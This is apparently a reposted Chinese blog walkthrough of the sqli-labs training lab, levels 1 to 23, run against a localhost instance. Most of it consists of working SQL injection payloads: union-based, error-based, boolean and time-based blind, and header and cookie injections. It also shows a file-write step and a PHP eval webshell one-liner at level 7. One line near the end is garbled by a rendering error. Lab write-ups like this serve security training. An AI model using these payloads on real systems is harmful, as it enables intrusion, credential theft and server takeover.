Sqli-labs-master超详细通关教程(1-23关基础篇)

一到四关主要是参数被包装的问题。一般用于尝试的语句

Ps:–+可以用#替换,url 提交过程中 Url 编码后的#为%23

and1=2–+

'and1=2–+

"and1=2–+

)and1=2–+

')and1=2–+

")and1=2–+

"))and1=2–+

图中显示的sql语句是我为了方便理解,修改了源代码显示出的

第一关:

id =1 and 1=2

页面正常,考虑是否有字符注入,先加单引号

可以看到提示,存在’ '包装,我们加上–+

http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=1’ --+

页面正常,可以判断存在单引号的注入问题。

接下来order by猜解字段

http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=1’ and 1=2 order by 4–+

当字段到4是回显错误,说明一共有3个字段。然后显示可显字段

http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=1’ and 1=2 union select 1,2,3–+

可显字段为2和3.然后查找数据库

http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=1’ and 1=2 union select 1,database(),3–+

之后就简单了,常规流程爆数据。

补充一点点小知识,方便理解sql语句

  1. information_schema:表示所有信息,包括库、表、列

  2. information_schema.tables:记录所有表名信息的表

  3. information_schema.columns:记录所有列名信息的表

  4. table_schema:数据库的名称

  5. table_name:表名

  6. column_name:列名

  7. group_concat():显示所有查询到的数据

查询表名:http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=1’ and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’–+

查询列名:http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=1’ and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘security’ and table_name=‘users’–+(不加and table_name='users’会显示所有表的列名,不利于查找我们想要的列名)

查询数据:http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=1’ and 1=2 union select 1,username,password from users limit 0,1–+(这里采用limit 0,1,因为用group_concat()一次爆出多条数据,不方便我们查看相对应的用户名和密码,自己对比一下就知道了)

第二关

第二关为数字类型,直接加 and 1=2,就可以看到页面显示错误,后面流程跟第一关一样

第三关

直接加 and 1=2 ,界面显示正常。加 ’ 以后页面错误

看错误提示,应该加 ') ,可以看下源码

id=1’) and 1=2 --+ 页面错误

第四关

这里我们输入’ ‘’ ') ‘’) 等等都不对,然后尝试",这里是双引号,不是两个单引号,页面错误

存在"" 和 ) 的包装

id=1") and 1=2 --+

第五关

根据提示输入id=1 后,页面显示如下

这里是一个新的类型,前1-4关是有回显的,第5关明显没有回显。这里我选用updatexml报错注入。当然还有其他注入方式,这里就不说了。

查询数据库:http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1’ and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) --+

这里的0x7e就是~,所以数据库名就是 security

爆表:http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1’ and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(table_name)),0x7e) from information_schema.tables where table_schema=‘security’),0x7e),1) --+

查询users表的列名:http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1’ and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(column_name)),0x7e) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),0x7e),1) --+

查询username:http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1’ and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(username)),0x7e) from users ),0x7e),1) --+

第六关

第六关跟第五关的区别就是 对参数id 做了 " "处理

http://127.0.0.1:8080/sqli-labs-master/Less-6/?id=1"

所以只需要把第五关的’ 改成 " 就可以了

第七关

第七关标题为” Dump into outfile“ 意思是利用文件导入的方式,不论注入方式是什么,我们都要先判断注入点。

http://127.0.0.1:8080/sqli-labs-master/Less-7/?id=1’)) and 1=2 --+

这里是((‘’))包装

我是知识点:

load_file()读取文件

前提:1、用户权限足够高,尽量具有root权限。2、secure_file_priv不为NULL

into outfile()/dumpfile()

其中dumpfile()只能读出一行数据,适用于二进制文件

写入文件:http://127.0.0.1:8080/sqli-labs-master/Less-7/?id=-1’)) union select 1,database(),3 into outfile ‘E:zjtphpstudy2018PHPTutorialWWWsqli-labs-masterLess-7aleilei.php’–+

这里的文件是在执行语句后创建的,在后续如果要写入其他webshell,需要删除掉改文件或者建新的文件

或者直接写入木马

union select 1,2,‘<php @eval($_post[“mima”])>’

然后用菜刀等 webshell 管理工具连接即可,这里不演示此过程了(因为我自己也没试过)

---------------------------------------------------------------

第八关

输入http://127.0.0.1:8080/sqli-labs-master/Less-8/?id=1’页面异常

http://127.0.0.1:8080/sqli-labs-master/Less-8/?id=1’–+页面正常,证明有’'包装。

但是没有报错提示,看源码

mysql的报错语句被注释掉了,这里我们不能用报错注入了。

先判断数据库名长度:http://127.0.0.1:8080/sqli-labs-master/Less-8/?id=1’ and length(database())=8 --+ 页面正常显示,说明长度为8

判断数据库名第一位是否大于‘a’:http://127.0.0.1:8080/sqli-labs-master/Less-8/?id=1’and left(database(),1)>‘a’–+ 然后b.c.d一直到s页面报错说明第一位为s

然后判断前两位是否大于’sa’:http://127.0.0.1:8080/sqli-labs-master/Less-8/?id=1’and left(database(),2)>‘sa’–+

以此类推…可以使用二分法提高效率

然后猜解表名(ascii)

第一个表的第一个字符:http://127.0.0.1:8080/sqli-labs-master/Less-8/?id=1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101–+

第一个表的第二个字符:http://127.0.0.1:8080/sqli-labs-master/Less-8/?id=1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>109–+

第二个表的第一个字符:http://127.0.0.1:8080/sqli-labs-master/Less-8/?id=1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>114–+

继续猜解指定表下的列名(regexp注入)

users表下的列名http://127.0.0.1:8080/sqli-labs-master/Less-8/?id=1’and 1=(select 1 from information_schema.columns where table_name=‘users’ and table_name regexp ‘^us[a-z]’ limit 0,1)–+ 猜users表下是否存在有us[a-z]]样式的列名

这三种盲注方法根据个人喜好都能用

第九关

看标题,应该是让我们用时间盲注,并且还有单引号对参数进行包装

进行时间盲注时,个人建议返回时间稍微长点,时间太短的话不好判断时语句返回时间还是因为网络问题。猜测正确则页面快速反应,若猜解错误,则按规定时间返回,本次语句时间为10s

猜数据库名第一位:http://127.0.0.1:8080/sqli-labs-master/less-9/?id=1’and If(ascii(substr(database(),1,1))=115,1,sleep(10))–+

猜表名第一位:http://127.0.0.1:8080/sqli-labs-master/less-9/?id=1’and If(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101,1,sleep(10))–+

下面的自己尝试就好,大同小异

第十关

偷懒点看标题就知道是双引号处理,剩下的跟第九关一样

第十一关

第十一关开始我们就要进行post注入了,这里建议安装firefox的插件hackbar或者使用burp suit抓包工具。

照例先判断注入点,Username输入admin’,报错,admin’# ,页面正常。说明有’ '对参数包装

我们用burp抓一下包

发送到重发器后进行sql注入,流程与get提交是一样的,先进行字段猜解

查看可显字段

开始爆数据

用火狐浏览器也是一样的流程

-----------------------------------------------------------

第十二关

跟第十一关的区别就是采用了双引号加括号包装参数,admin")#

第十三关

本关用 ') 对Username和 Password进行处理,但是没有显示登录信息,只显示是否登录成功。

没有回显所以用报错注入。抓包后,注入

uname=admin’) and updatexml(1, concat(0x7e,(select distinct concat(0x7e,(select table_name),0x7e)from information_schema.tables where table_schema=‘security’ ),0x7e),1)#&passwd=admin&submit=Submit

用上述语句直接扫描表名时,会有如下提示

因为updatexml()报错注入的输出字符长度是32个字符,这里超了,所以直接在后面加上limit就好了

uname=admin’) and updatexml(1, concat(0x7e,(select distinct concat(0x7e,(select table_name),0x7e)from information_schema.tables where table_schema=‘security’ limit 0,1 ),0x7e),1)#&passwd=admin&submit=Submit

第十四关

用双引号对参数进行了包装

第十五关

用单引号对参数处理,但是没有报错显示。用延时注入或者ascii都行,第八关和第九关写的很清楚了

第十六关

uname=admin")#&passwd=admin&submit=Submit,同样跟前一关一样,错误提示被注释了

第十七关

看标题以及关卡的页面提示,可以看出是让我们对密码进行修改。

uname=admin&passwd=admin’#&submit=Submit

这里在passwd处进行注入,虽然在一开始的select中有username,但我们不能在username处进行注入。

从index.php中可以看到,uname有对应一个叫check_input()的方法,这个方法中有一个 mysql_real_escape_string(),这个函数是专门预防数据库攻击的,具体的可以自行百度。

第十八关

这里可看到我们的账号密码都进行了处理,以此来预防数据库攻击。

User-Agent: 浏览器表明自己的身份(是哪种浏览器)。这里我们抓包后从User-Agent处进行注入

User-Agent: ’ and updatexml(1,concat(0x7e,(select database())),1) and ‘1’ ='1

这里要注意语句的闭合

第十九关

Referer:浏览器向 WEB 服务器表明自己是从哪个 网页/URL 获得/点击 当前请求中。

从Referer处注入:

Referer:'and updatexml(1,concat(0x7e,(select database())),1)and ‘1’= '1

第二十关

抓包

这关考的是cookie注入(直接登录时抓包是抓不到cookie的,源码中可以看到我们的cookie是从uname中获取,刷新后才会执行select。同样的这关也对账号密码进行了处理)

Cookie: uname=admin’ and 1=1 order by 4 #

Cookie: uname=admin’ and 1=2 union select 1,2,3 #

Cookie: uname=admin’ and 1=2 union select database(),2,3 #

后续就不说了,用其他注入方式也可

-------------------------------

第二十一关

本关对uname进行了base64加密

我们抓包后用burp自带的解码器进行加解密即可

Decode as:解密 Encode as :加密

第二十二关

"uname"双引号处理,其余的跟前两关一样

第二十三关

第二十三用单引号对id进行了处理,但是本关对字符进行了过滤

所以我们要手动进行引号的闭合。

注入语句:http://127.0.0.1:8080/sqli-labs-master/Less-23/?id=1’and 1=2 union select 1,database(),'3

sql语句:KaTeX parse error: Undefined control sequence: \* at position 13: sql="SELECT \̲*̲ FROM users WHE…id’ LIMIT 0,1"

我们注入以后执行的语句相当于下面,一个’用于闭合1,第二’用于闭合后面的。

$sql=“SELECT * FROM users WHERE id='1’and 1=2 union select 1,database(),‘3’ LIMIT 0,1”

猜你喜欢

转载自blog.csdn.net/m0_67391270/article/details/125244872